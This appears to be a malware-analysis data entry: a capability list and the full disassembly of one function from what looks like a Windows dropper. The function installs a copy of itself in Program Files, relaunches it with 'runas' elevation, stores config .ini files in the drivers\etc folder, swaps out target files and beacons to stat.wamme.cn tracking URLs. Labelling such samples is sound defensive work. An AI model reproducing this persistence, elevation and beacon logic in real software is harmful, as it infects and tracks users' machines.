Function at 0x401f80
Capabilities:
Copy file
Create a process with modified i/o handles and window
Create directory
Create process on windows
Create process suspended
Delete file
Initialize winsock library
Move file
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43f1bb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x12a0
call fcn.00425210
mov eax, dword [0x452944]
push ebx
mov dword [ebp - 0x14], eax
push esi
push edi
xor eax, eax
mov byte [ebp - 0x814], 0
mov ecx, 0x7f
lea edi, [ebp - 0x813]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x44e0f8]
mov edi, dword [0x44e0fc]
lea ecx, [eax + eax]
sub ecx, edi
add ecx, 0x1c23
mov dword [ebp - 0x10], esp
push 0
mov dword [str._r_____r____], ecx
mov dword [ebp - 4], 0
call fcn.004251cf
mov edx, dword [0x44e0f8]
mov ebx, dword [0x44e100]
mov ecx, dword [0x44e108]
sub edx, ebx
sub edx, ecx
sub edx, 0x17ae8
add esp, 4
mov esi, eax
mov edi, 0x190
mov dword [0x44e0f0], edx
call fcn.0043c732
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x44]
push eax
lea ecx, [ebp - 0xdac]
call fcn.00401ed0
mov ecx, dword [ebp - 0xdac]
mov byte [ebp - 4], 1
lea edx, [ebp - 0x514]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x402047
lea eax, [ebp - 0x514]
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402060
sub eax, edx
mov dword [ebp - 0xda8], eax
jne 0x402460
mov edx, dword [0x44e0f0]
mov ecx, dword [0x44e0f4]
sub ecx, edx
mov edx, dword [0x44e10c]
push str.C:WINDOWS_system32driversetc_service3.ini
push 0x100
lea eax, [ecx + edx + 0x23d17]
lea ecx, [ebp - 0x114]
push ecx
push 0x441e2d
push str.rand
push str.aaaaa
mov dword [0x44e0f8], eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea edx, [ebp - 0x114]
push edx
call fcn.004251ca
add esp, 4
test eax, eax
jle 0x4020df
lea eax, [ebp - 0x114]
push eax
call fcn.004251ca
add esp, 4
mov esi, eax
mov eax, esi
cdq
idiv edi
mov ecx, edx
and ecx, 0x80000001
jns 0x4020f3
dec ecx
or ecx, 0xfffffffe
inc ecx
cmp ecx, 1
jne 0x40211f
mov eax, dword [0x44e0ec]
mov ecx, dword [0x44e0f4]
mov esi, dword [0x44e100]
sub eax, ecx
lea eax, [esi + eax + 0x1d19c]
mov dword [0x44e100], eax
lea eax, [edx - 1]
lea ebx, [edx + 1]
jmp 0x40214c
mov ebx, dword [0x44e104]
mov ecx, dword [0x44e0f0]
mov esi, dword [0x44e0ec]
sub ecx, ebx
sub ecx, esi
add ecx, 0x879e
mov dword [0x44e108], ecx
mov ecx, dword [0x44e0f4]
mov eax, edx
lea ebx, [edx + 2]
cmp ebx, edi
jl 0x402153
lea ebx, [edx - 1]
mov esi, dword [0x44e0f8]
imul eax, eax, 0x1e
mov edx, dword [str._r_____r____]
sub ecx, esi
lea esi, [eax + 0x44e110]
lea ecx, [ecx + edx - 0x37c8]
push esi
lea edx, [ebp - 0x214]
push str.C:Program_Files_s
push edx
mov dword [0x44e0ec], ecx
mov dword [ebp - 0xda8], esi
call fcn.004250ea
add esp, 0xc
push 0
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, ebx
imul ecx, ecx, 0x1e
add ecx, 0x44e110
push ecx
push esi
lea edx, [ebp - 0x214]
push str.C:Program_Files_s_s.exe
push edx
call fcn.004250ea
mov eax, dword [str._r_____r____]
mov ecx, dword [0x44e0f0]
mov edx, dword [0x44e0fc]
add esp, 0x10
add ecx, eax
lea eax, [edx + ecx + 0x18c64]
push 0x100
lea ecx, [ebp - 0x114]
push ecx
push 0
mov dword [0x44e0fc], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x100
lea edx, [ebp - 0x114]
push 0x8000
push edx
call fcn.00431a48
mov esi, eax
add esp, 0xc
cmp esi, 0xffffffff
je 0x402460
push 0x100000
push 0x4538c0
push esi
call fcn.00430678
push esi
mov edi, eax
call fcn.00430e37
add esp, 0x10
cmp edi, 0x2800
jle 0x402460
push 0
call fcn.004251cf
push eax
push 0x441dec
push 0x453bc0
call fcn.004250ea
push 0x180
lea eax, [ebp - 0x214]
push 0x8302
push eax
call fcn.00431a48
mov esi, eax
add esp, 0x1c
cmp esi, 0xffffffff
je 0x402460
push edi
push 0x4538c0
push esi
call fcn.0042e143
push 2
push 0
push esi
call fcn.0042deca
xor eax, eax
mov ecx, 0x80
lea edi, [ebp - 0xc14]
rep stosd dword es:[edi], eax
push ebx
lea ecx, [ebp - 0xc14]
push ecx
push esi
call fcn.0042e143
push esi
call fcn.00430e37
mov edx, dword [0x44e0f8]
mov ebx, dword [0x44e0fc]
lea eax, [edx + edx]
lea ecx, [ebp - 0x214]
push ecx
sub eax, ebx
lea edx, [ebp - 0x114]
add eax, 0x1c23
push str._s__33201_
push edx
mov dword [str._r_____r____], eax
call fcn.004250ea
mov ebx, dword [0x44e100]
mov edx, dword [0x44e10c]
xor eax, eax
mov ecx, 0x11
lea edi, [ebp - 0xdf0]
rep stosd dword es:[edi], eax
mov eax, dword [0x44e0f8]
mov edi, dword [0x44e108]
mov ecx, dword [0x44e0f4]
sub eax, ebx
add esp, 0x34
sub eax, edi
sub eax, 0x17ae8
sub ecx, eax
mov dword [0x44e0f0], eax
lea eax, [ecx + edx + 0x23d17]
lea ecx, [ebp - 0xe00]
push ecx
lea edx, [ebp - 0xdf0]
push edx
push 0
push 0
push 0x20
push 0
push 0
mov dword [0x44e0f8], eax
push 0
lea eax, [ebp - 0x114]
push eax
push 0
mov dword [ebp - 0xdf0], 0x44
mov dword [ebp - 0xdc4], 1
mov word [ebp - 0xdc0], 5
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4023a3
mov edx, dword [0x44e0f4]
mov ecx, dword [0x44e0ec]
sub ecx, edx
mov edx, dword [0x44e100]
lea eax, [edx + ecx + 0x1d19c]
push 0
mov dword [0x44e100], eax
call fcn.004250aa
mov ecx, dword [0x44e0f0]
mov esi, dword [0x44e104]
mov edx, dword [0x44e0ec]
sub ecx, esi
sub ecx, edx
mov edx, dword [ebp - 0xda8]
push edx
lea eax, [ebp - 0x214]
add ecx, 0x879e
push str.C:Program_Files_s
push eax
mov dword [0x44e108], ecx
call fcn.004250ea
add esp, 0xc
push 1
lea ecx, [ebp - 0x214]
push ecx
push 0
lea edx, [ebp - 0x114]
push edx
push str.runas
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
push 0
jg 0x4029d3
mov ecx, dword [0x44e0f8]
mov eax, dword [0x44e0f4]
push 0
push 0
push 0
push str.http:__stat.wamme.cn_C8C_gl_cnzz61.html_pagehttp:__www.WebDllx.com_RunExeFail
push 0x450ff4
sub eax, ecx
mov ecx, dword [str._r_____r____]
push 0
lea edx, [eax + ecx - 0x37c8]
mov eax, dword [ebp + 8]
push 0
push 1
add eax, 0x74
push 0x68
push eax
mov dword [0x44e0ec], edx
call fcn.00437237
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x2c
push 0x2710
call ebx
jmp 0x402466
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x44e0f4]
mov edi, dword [0x44e0f8]
mov ecx, dword [str._r_____r____]
sub eax, edi
lea edx, [eax + ecx - 0x37c8]
lea eax, [ebp - 0xda4]
push eax
push 0x101
mov dword [0x44e0ec], edx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x4024a3
push 0
call fcn.004250aa
push 3
push 0x450ff0
push 0x413c
call fcn.004014f0
add esp, 0xc
test eax, eax
je 0x4024f5
mov ecx, dword [0x44e0f0]
mov edi, dword [0x44e104]
mov esi, dword [0x44e0ec]
mov eax, dword [0x450ff0]
sub ecx, edi
sub ecx, esi
add ecx, 0x879e
cmp eax, 0xffffffff
mov dword [0x44e108], ecx
je 0x4024ee
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
push 0
call fcn.004250aa
mov edx, dword [0x44e0f8]
mov esi, dword [0x44e100]
mov ecx, dword [0x44e108]
sub edx, esi
sub edx, ecx
sub edx, 0x17ae8
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x44e0f0], edx
call fcn.00424edd
add esp, 8
cmp eax, 0xffffffff
jne 0x402546
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.00424edd
add esp, 8
cmp eax, 0xffffffff
je 0x402546
push 0xea60
call ebx
mov eax, dword [0x44e0f0]
mov esi, dword [0x44e104]
mov edx, dword [str._r_____r____]
sub eax, esi
sub eax, edx
sub eax, 0xce04
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x44e0f4], eax
call fcn.00424edd
add esp, 8
cmp eax, 0xffffffff
je 0x4029aa
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.00424edd
add esp, 8
cmp eax, 0xffffffff
je 0x4029aa
mov edx, dword [str._r_____r____]
mov ecx, dword [0x44e0f0]
mov eax, dword [0x44e0fc]
add ecx, edx
lea eax, [eax + ecx + 0x18c64]
mov ecx, dword [0x44e0f8]
push 0x441cf4
lea edx, [ecx + ecx]
push 0x200
sub edx, eax
mov dword [0x44e0fc], eax
lea eax, [ebp - 0xa14]
push eax
push 0x441e2d
push str.ConfigL0
add edx, 0x1c23
push str.GameType1
mov dword [str._r_____r____], edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov edi, 0x441e2d
lea esi, [ebp - 0xa14]
mov ecx, 1
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x4027ce
mov eax, dword [0x44e0f8]
mov esi, dword [0x44e100]
mov edx, dword [0x44e108]
sub eax, esi
lea ecx, [ebp - 0xa14]
push ecx
sub eax, edx
lea edx, [ebp - 0x12b0]
sub eax, 0x17ae8
push 0x12c
push edx
mov dword [0x44e0f0], eax
call fcn.004012d0
add esp, 0xc
cmp eax, 5
jl 0x4027ce
mov ecx, dword [0x44e0f0]
mov eax, dword [0x44e0f4]
sub eax, ecx
mov ecx, dword [0x44e10c]
lea edx, [eax + ecx + 0x23d17]
mov dword [0x44e0f8], edx
mov edx, dword [ebp - 0x12b0]
mov eax, edx
lea esi, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402680
sub eax, esi
mov cl, byte [eax + edx - 1]
mov eax, dword [ebp - 0x12a4]
push eax
cmp cl, 0x5c
push edx
lea ecx, [ebp - 0x414]
jne 0x4026a7
push str._s_s
jmp 0x4026ac
push 0x441ccc
push ecx
call fcn.004250ea
mov eax, dword [0x44e0f4]
mov edx, dword [0x44e0ec]
sub edx, eax
mov eax, dword [0x44e100]
lea ecx, [eax + edx + 0x1d19c]
add esp, 0x10
lea edx, [ebp - 0x414]
push edx
lea eax, [ebp - 0x614]
push str._s.bak
push eax
mov dword [0x44e100], ecx
call fcn.004250ea
add esp, 0xc
push 0
lea ecx, [ebp - 0x614]
push ecx
lea edx, [ebp - 0x414]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x414]
push eax
call esi
mov ecx, dword [0x44e0f0]
mov eax, dword [0x44e104]
mov edi, dword [0x44e0ec]
sub ecx, eax
sub ecx, edi
lea edx, [ebp - 0x414]
add ecx, 0x879e
push 0
push edx
mov dword [0x44e108], ecx
call fcn.00424edd
add esp, 8
cmp eax, 0xffffffff
je 0x40277b
mov edx, dword [0x44e0f8]
mov eax, dword [0x44e0f4]
mov ecx, dword [str._r_____r____]
sub eax, edx
lea edx, [eax + ecx - 0x37c8]
lea eax, [ebp - 0x614]
push eax
mov dword [0x44e0ec], edx
call esi
push 0
call fcn.004250aa
mov edx, dword [0x44e104]
mov ecx, dword [0x44e0f0]
mov eax, dword [str._r_____r____]
sub ecx, edx
sub ecx, eax
lea edx, [ebp - 0x414]
push edx
lea eax, [ebp - 0x614]
sub ecx, 0xce04
push eax
mov dword [0x44e0f4], ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea ecx, [ebp - 0x414]
lea edx, [ebp - 0x814]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x4027c0
push 0x64
call ebx
mov edx, dword [str._r_____r____]
mov ecx, dword [0x44e0f0]
lea eax, [ecx + edx]
mov edx, dword [0x44e0fc]
lea eax, [edx + eax + 0x18c64]
mov dword [0x44e0fc], eax
lea eax, [ebp - 0x814]
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4027f8
sub eax, esi
mov dword [ebp - 0xda8], eax
push 0
jne 0x402810
call fcn.004250aa
mov esi, dword [0x44e104]
mov edx, dword [0x44e0ec]
sub ecx, esi
sub ecx, edx
add ecx, 0x879e
mov dword [0x44e108], ecx
lea ecx, [ebp - 0x814]
push ecx
call fcn.00424edd
add esp, 8
cmp eax, 0xffffffff
jne 0x4028dc
mov edx, dword [0x44e0f4]
mov esi, dword [0x44e0fc]
mov eax, dword [0x44e100]
push 0
push 0
push 0
push 0
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_pagehttp:__www.WebDllx.com_NoDllx
push 0x450ff4
push 0
sub edx, esi
lea ecx, [edx + eax - 0xe06]
mov eax, dword [ebp + 8]
push 0
push 1
add eax, 0x74
push 0x68
push eax
mov dword [0x44e10c], ecx
call fcn.00437237
add esp, 0x2c
push 0x2710
call ebx
mov edx, dword [0x44e0f8]
lea eax, [edx + edx]
sub eax, dword [0x44e0fc]
add eax, 0x1c23
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [str._r_____r____], eax
call fcn.00424edd
add esp, 8
cmp eax, 0xffffffff
je 0x4028d5
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.00424edd
add esp, 8
cmp eax, 0xffffffff
jne 0x4028dc
push 0
call fcn.004250aa
lea ecx, [ebp - 0x814]
lea edx, [ebp - 0x614]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x4028e8
mov ecx, dword [0x44e0f8]
mov edi, dword [0x44e100]
mov esi, dword [0x44e108]
sub ecx, edi
sub ecx, esi
sub ecx, 0x17ae8
push 0x132b600
mov dword [0x44e0f0], ecx
call sym.CallDll.exe_int___cdecl_process5_int_
add esp, 4
push 0x1388
call ebx
mov eax, dword [ebp + 8]
push 0
push 0
push 0
push 0
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_pagehttp:__www.WebDllx.com_NewRun
push 0x450ff4
push 0
push 0
push 1
add eax, 0x74
push 0x68
push eax
call fcn.00437237
add esp, 0x2c
push 0x2710
call ebx
mov eax, dword [0x44e0f0]
mov edx, dword [0x44e0f4]
sub edx, eax
mov eax, dword [0x44e10c]
lea ecx, [edx + eax + 0x23d17]
mov dword [0x44e0f8], ecx
xor esi, esi
lea esp, [esp]
mov edx, dword [0x44e0ec]
mov edi, dword [0x44e0f4]
mov eax, dword [0x44e100]
sub edx, edi
lea ecx, [eax + edx + 0x1d19c]
push 0x2710
mov dword [0x44e100], ecx
call ebx
inc esi
jmp 0x402980
mov edx, dword [0x44e0f4]
mov esi, dword [0x44e0f0]
mov eax, dword [0x44e10c]
sub edx, esi
lea ecx, [edx + eax + 0x23d17]
push 0x493e0
mov dword [0x44e0f8], ecx
call ebx
push 0
call fcn.004250aa
mov eax, 0x4029d1
ret